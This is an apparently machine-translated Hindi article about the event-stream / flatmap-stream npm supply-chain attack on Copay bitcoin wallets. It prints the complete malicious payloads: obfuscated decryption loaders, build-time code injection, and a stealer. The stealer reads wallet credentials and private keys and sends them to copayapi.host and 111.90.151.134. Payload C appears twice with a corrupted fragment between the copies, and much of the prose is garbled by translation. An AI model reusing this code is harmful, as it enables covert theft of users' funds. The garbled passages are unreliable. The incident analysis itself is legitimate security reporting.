🤦🏼 🎿 👙 आधुनिक सॉफ्टवेयर विकास के बुनियादी ढांचे को हैक करने की अपमानजनक आसानी की कहानी 🤞🏻 👇🏼 🍓

अक्टूबर के अंत में, एक समस्या संदेश बेहद लोकप्रिय नोडम Node.js टूल में दिखाई दिया। बात यह थी कि कंसोल में निम्न चेतावनी प्रदर्शित की गई थी: DeprecationWarning: crypto.createDecipher is deprecated । पुरानी सुविधाओं के बारे में इस तरह के अलर्ट असामान्य नहीं हैं। विशेष रूप से, यह संदेश काफी हानिरहित लग रहा था। यह स्वयं नोडम प्रोजेक्ट को संदर्भित नहीं करता था, लेकिन इसकी एक निर्भरता को। यह तिकड़ी अच्छी तरह से किसी का ध्यान नहीं रह सकती है, क्योंकि, कई मामलों में, इस तरह की समस्याओं को स्वयं द्वारा हल किया जाता है।

इस समस्या के पहले उल्लेख के लगभग दो हफ्ते बाद, एर्टन स्पर्लिंग ने सब कुछ जांचा और पता चला कि चेतावनी का कारण एक गहरा नया नशा था । यह संदेश एक अजीब सी कोड फ़ाइल के अंत में आया, जो कि एक संक्षिप्त जावास्क्रिप्ट फ़ाइल के अंत में थी, जो कि लाइब्रेरी के पुराने संस्करणों में नहीं थी, और जो बाद के संस्करण से हटा दी गई थी। एर्टन के शोध ने उन्हें लोकप्रिय इवेंट-स्ट्रीम एनपीएम पैकेज के लिए प्रेरित किया, जिसे एक सप्ताह में लगभग दो मिलियन बार डाउनलोड किया गया था, और हाल ही में एक अच्छी प्रतिष्ठा के साथ एक ओपन-सोर्स डेवलपर के नियंत्रण में था।

कुछ महीने पहले, इवेंट-स्ट्रीम प्रबंधन को एक अन्य व्यक्ति को स्थानांतरित कर दिया गया था, जो एक छोटा-सा उपयोगकर्ता था, जिसने ई-मेल द्वारा, पैकेज प्रकाशित करने के अधिकार देने के लिए कहा था। यह कानूनी रूप से किया गया था। तब इस उपयोगकर्ता ने अपने पैच संस्करण में फ्लैटमैप-स्ट्रीम मैलवेयर निर्भरता सहित घटना-स्ट्रीम पैकेज को अपडेट किया, और उसके बाद उन्होंने इस निर्भरता के बिना पैकेज का एक नया प्रमुख संस्करण प्रकाशित किया। इसके लिए धन्यवाद, वह बदलाव को कम ध्यान देने योग्य बनाना चाहता था। नए उपयोगकर्ता, जो संभवतः निर्भरता में रुचि रखने की अधिक संभावना रखते हैं, वे इवेंट-स्ट्रीम (इस लेखन के समय 4.x) के नवीनतम संस्करण को स्थापित करेंगे। और वे उपयोगकर्ता जिनके प्रोजेक्ट पैकेज के पिछले संस्करण पर निर्भर थे, वे अगली बार npm install कमांड को चलाने के लिए स्वचालित रूप से संक्रमित पैच संस्करण स्थापित करेंगे (यह अपडेट के लिए उपयुक्त पैकेज संस्करणों को कॉन्फ़िगर करने के लिए सामान्य दृष्टिकोण को ध्यान में रखता है)।

घटना का विवरण

दुर्भावनापूर्ण फ़्लैटमैप-स्ट्रीम कोड को डेटा फ़ाइल के साथ काम करने के लिए कॉन्फ़िगर किया गया था, जो कि कुछ पंक्तियों के अलावा, जो बहुत ही मामूली रूप से मोटे थे, में दो एन्क्रिप्टेड टुकड़े होते थे, जिन्हें केवल पासवर्ड जानकर डिक्रिप्ट किया जा सकता था।

 ! function() {   try {       var r = require,           t = process;       function e(r) {           return Buffer.from(r, "hex").toString()       }       var n = r(e("2e2f746573742f64617461")),           o = t[e(n[3])][e(n[4])];       if (!o) return;       var u = r(e(n[2]))[e(n[6])](e(n[5]), o),           a = u.update(n[0], e(n[8]), e(n[9]));       a += u.final(e(n[9]));       var f = new module.constructor;       f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])   } catch (r) {} }();

इस कोड के टुकड़े को Payload A कहो Payload A यह npm_package_description वातावरण चर में npm_package_description द्वारा निर्धारित पासवर्ड की npm_package_description करता है। इस परिवेश चर में रूट पैकेज का विवरण होता है, जो दुर्भावनापूर्ण कोड को केवल एक विशिष्ट लक्ष्य पैकेज को प्रभावित करने की अनुमति देता है। स्मार्ट चाल! इस मामले में, यह पैकेज कोपे बिटकॉइन वॉलेट का क्लाइंट एप्लिकेशन था, और दुर्भावनापूर्ण कोड को डिक्रिप्ट करने के लिए पासवर्ड ए सिक्योर बिटकॉइन वॉलेट था (यह गेसब यूजर मैथ्स 22 द्वारा खोजा गया था)।

Payload A कोड के सफलतापूर्वक डेटा के पहले टुकड़े को डिक्रिप्ट करने के बाद, जिस कोड को हम Payload B कहते हैं, Payload B निष्पादित किया Payload B था।

 /*@@*/ module.exports = function(e) {   try {       if (!/build\:.*\-release/.test(process.argv[2])) return;       var t = process.env.npm_package_description,           r = require("fs"),           i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",           n = r.statSync(i),           c = r.readFileSync(i, "utf8"),           o = require("crypto").createDecipher("aes256", t),           s = o.update(e, "hex", "utf8");       s = "\n" + (s += o.final("utf8"));       var a = c.indexOf("\n/*@@*/");       0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {           try {               r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)           } catch (e) {}       })   } catch (e) {} };

इस कोड ने जाँच की कि स्क्रिप्ट विशेष रूप से एक विशिष्ट कमांड लाइन तर्क के साथ चलाई जाएगी, जिसमें build:*-release मिलान कुछ होगा build:*-release पैटर्न। उदाहरण के लिए, यह npm run build:ios-release तरह लग सकता है। अन्यथा, स्क्रिप्ट निष्पादित नहीं किया गया था। कोपे में प्रयुक्त परियोजनाओं के निर्माण के लिए सिर्फ तीन लिपियों के लिए यह सीमित कोड निष्पादन। अर्थात्, हम उन लिपियों के बारे में बात कर रहे हैं जो एप्लिकेशन के डेस्कटॉप संस्करण और iOS और Android के लिए इसके संस्करणों के निर्माण के लिए जिम्मेदार हैं।

तब स्क्रिप्ट ने एक और अनुप्रयोग निर्भरता की तलाश की, अर्थात्, वह @ ReedSolomonDecoder.js / पुस्तकालय पैकेज से ReedSolomonDecoder.js फ़ाइल में रुचि रखता था। Payload B कोड ने इस फ़ाइल को नहीं चलाया। उन्होंने बस Payload C कोड को इसमें इंजेक्ट किया, जिसके कारण इस कोड को एप्लिकेशन में ही निष्पादित किया जाएगा, जब ReedSolomonDecoder लोड किया ReedSolomonDecoder । यहाँ पर Payload C कोड है।

 /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() \ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \ n2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \ n2wIDAQAB \ N ----- END /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e()

Payload A और Payload B कोड को प्रोजेक्ट के बिल्ड सर्वर पर Node.js वातावरण में चलाने के लिए डिज़ाइन किया गया है, लेकिन Payload C कोर्डोवा फ्रेमवर्क (पूर्व में PhoneGap ) के नियंत्रण के तहत एक ब्राउज़र के समान वातावरण में चलाने के लिए डिज़ाइन किया गया है। यह ढांचा आपको वेब तकनीकों - एचटीएमएल, सीएसएस और जावास्क्रिप्ट का उपयोग करके विभिन्न प्लेटफार्मों के लिए मूल एप्लिकेशन विकसित करने की अनुमति देता है। विभिन्न प्लेटफार्मों के लिए डिज़ाइन किए गए कोपे क्लाइंट एप्लिकेशन (साथ ही इस परियोजना के कांटे जैसे FCash ) कोर्डोवा का उपयोग करके बनाया गया है। यह इन ग्राहकों के लिए है कि हमले का उद्देश्य है। ये मूल ऐप कोपे के अंतिम उपयोगकर्ताओं के लिए हैं जो उनके साथ अपने बिटकॉइन वॉलेट का प्रबंधन करते हैं। ये बटुए हमलावर के हित के थे। स्क्रिप्ट ने चोरी का डेटा copayapi.host और 111.90.151.134 पर भेजा।

निराशाजनक निष्कर्ष

जिस चीज के बारे में हमने बात की थी उसे विकसित करना एक कठिन काम है। इस हैक के लिए गंभीर शोध और हमले के संचालन के लिए पर्याप्त प्रयास की आवश्यकता थी। हमलावर के पास शायद कमबैक विकल्प भी थे जो वह उपयोग करेगा यदि वह इवेंट-स्ट्रीम पैकेज का नियंत्रण हासिल नहीं कर सकता था। यह देखते हुए कि हमले का आयोजन कैसे किया गया था, यह प्रशंसनीय लगता है कि हमलावर मूल रूप से कोपे में लक्षित था, और न केवल लोकप्रिय पुस्तकालय का नियंत्रण प्राप्त किया, और फिर वह सोच रहा था कि उसे इसके साथ क्या करना चाहिए। इवेंट-स्ट्रीम की लोकप्रियता से पता चलता है कि हमलावर के पास दुनिया भर की सैकड़ों कंपनियों में महत्वपूर्ण कंप्यूटरों तक पहुँचने का एक आसान तरीका था। सौभाग्य से, खतरे का जल्दी से पता चला और बेअसर हो गया, यह देखते हुए कि यह कब तक किसी का ध्यान नहीं जा सकता था, लेकिन क्या हो सकता है इसके बारे में सोचने से हम स्पष्ट निष्कर्ष पर पहुंच सकते हैं: खुला स्रोत गंभीर रूप से बीमार है।

आइए उन कारणों की एक सूची बनाएं जो उपरोक्त घटना के कारण बने:

एप्लिकेशन (कोपे) कई अलग-अलग निर्भरता के आधार पर बनाया गया था, जबकि इसकी निर्भरता पेड़ अवरुद्ध नहीं थी।
यहां तक कि इस बात को ध्यान में रखते हुए कि निर्भरता के पेड़ को अवरुद्ध नहीं किया गया था, आश्रितों को कैश नहीं किया गया था, उन्हें परियोजना के प्रत्येक निर्माण में भंडार से लोड किया गया था।
हजारों अन्य परियोजनाएं इवेंट-स्ट्रीम पर निर्भर करती हैं, वे समान या समान कॉन्फ़िगरेशन का उपयोग करती हैं।
जिसने पुस्तकालय का समर्थन किया, जिस पर हजारों परियोजनाएं निर्भर हैं, इस पर काम करना बंद कर दिया।
हजारों परियोजनाओं ने इस पुस्तकालय को मुफ्त में इस्तेमाल किया। उसी समय, यह उम्मीद की गई थी कि वे बिना किसी भौतिक मुआवजे के उसका समर्थन करेंगे।
पुस्तकालय का समर्थन करने वाले ने अज्ञात पर अपना नियंत्रण स्थानांतरित कर दिया, क्योंकि उसने उससे इसके बारे में पूछा था।
इस बात की कोई सूचना नहीं थी कि परियोजना ने अपने मालिक को बदल दिया है, और सभी हजारों परियोजनाएं बस उचित पैकेज का उपयोग करना जारी रखती हैं।
वास्तव में, इस सूची पर और पर चला जाता है ...

हमारे द्वारा चर्चा की गई ब्रेक-इन से क्या नुकसान हो सकता है, इसके बारे में सोचना भी डरावना है। उदाहरण के लिए, अत्यंत गंभीर परियोजनाएं घटना-धारा पर निर्भर करती हैं। उदाहरण के लिए, Microsoft Azure CLI । कमजोर उन कंप्यूटर थे जिन पर वे इस प्रोग्राम को विकसित कर रहे हैं, और वे कंप्यूटर जिन पर इसका उपयोग किया जाता है। दुर्भावनापूर्ण कोड अच्छी तरह से उन और अन्य दोनों पर प्राप्त कर सकता है।

यहां समस्या यह है कि बहुत सारे सॉफ्टवेयर प्रोजेक्ट इस आधार पर बनाए जाते हैं कि जो लोग इसे करने की उम्मीद करते हैं वे मुफ्त में काम करेंगे। वे उपयोगी कार्यक्रम बनाते हैं, वे कुछ समय के लिए उनमें लगे रहते हैं (या हो सकता है कि वे उन्हें केवल सार्वजनिक डोमेन और उस सभी में बनाते हैं), और उनसे समय के अंत तक उनके विकास का समर्थन करने की उम्मीद की जाती है। यदि यह उनके लिए काम नहीं करता है, तो वे या तो निष्क्रिय रहते हैं, उन्हें कॉल अनदेखा करते हैं या अपनी परियोजनाओं में कमजोरियों की रिपोर्ट ( दोषी! ), या बस अपने प्रोजेक्ट अन्य लोगों को देते हैं, उम्मीद करते हैं कि वे छोड़ सकते हैं और अब इसमें शामिल नहीं होते हैं। कभी-कभी यह काम करता है। कभी-कभी नहीं। लेकिन कुछ भी कमजोरियों को सही नहीं कर सकते हैं, जो इस तरह की घटनाओं के कारण सॉफ्टवेयर में दिखाई देते हैं। वैसे, यहां तक कि घटना-धारा, इसकी जांच और उन्मूलन के साथ एक समस्या का पता लगाने का काम मुख्य रूप से खुले स्रोत स्वयंसेवकों द्वारा किया गया था, जिनके काम का भुगतान किसी भी तरह से नहीं किया गया है।

इतने सारे अलग-अलग लोग और संगठन इस बात से संबंधित हैं कि ऐसा क्या हुआ कि विशिष्ट दोषियों की तलाश का कोई मतलब नहीं है। खुला स्रोत गंभीर रूप से बीमार है, और यह घटना जितनी बड़ी हो जाती है, आपदाओं की संभावना उतनी ही अधिक होती है। यहां चर्चा की गई घटना की विनाशकारी क्षमता को देखते हुए, यह भाग्यशाली है कि हमलावर का लक्ष्य सिर्फ एक आवेदन था।

इसी तरह की समस्याएं Node.js या npm तक सीमित नहीं हैं। संबंधित पारिस्थितिकी प्रणालियों में, अजनबियों में एक समान रूप से अनुचित रूप से उच्च स्तर का विश्वास मनाया जाता है। यह अजगर पर्यावरण, RubyGems, और GitHub में भी PyPi के साथ करना है। कोई भी उपरोक्त सेवाओं में प्रकाशित कर सकता है, बिना किसी अधिसूचना के अपनी परियोजनाओं के प्रबंधन को किसी को हस्तांतरित नहीं कर सकता है। और इसके बिना भी, आधुनिक परियोजनाएं किसी और के कोड के ऐसे संस्करणों का उपयोग करती हैं कि इसका गहन विश्लेषण किसी भी टीम के काम को स्थायी रूप से रोक देगा। समय सीमा को पूरा करने के लिए, डेवलपर्स ने यह निर्धारित किया कि उन्हें क्या जरूरत है, और सुरक्षा और स्वचालित कोड सत्यापन उपकरण के लिए जिम्मेदार टीमें बस लगातार बदलते कार्यक्रमों के तेजी से विकास के साथ तालमेल नहीं रखती हैं।

प्रिय पाठकों! हाल की घटना-धारा की घटना के बारे में आपका क्या ख्याल है?

आधुनिक सॉफ्टवेयर विकास के बुनियादी ढांचे को हैक करने की अपमानजनक आसानी की कहानी

घटना का विवरण

निराशाजनक निष्कर्ष

More articles: